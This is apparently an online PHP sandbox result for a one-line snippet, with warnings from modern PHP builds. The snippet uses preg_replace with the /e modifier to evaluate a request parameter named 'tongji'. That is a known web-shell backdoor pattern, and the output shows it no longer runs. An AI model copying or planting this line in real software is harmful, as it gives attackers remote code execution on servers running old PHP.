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<?php var_dump(preg_replace('/[copyright]/e',$_REQUEST['tongji'],'error'));
Output for git.master, git.master_jit, rfc.property-hooks
Warning: Undefined array key "tongji" in /in/tPu6n on line 3 Deprecated: preg_replace(): Passing null to parameter #2 ($replacement) of type array|string is deprecated in /in/tPu6n on line 3 Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/tPu6n on line 3 NULL

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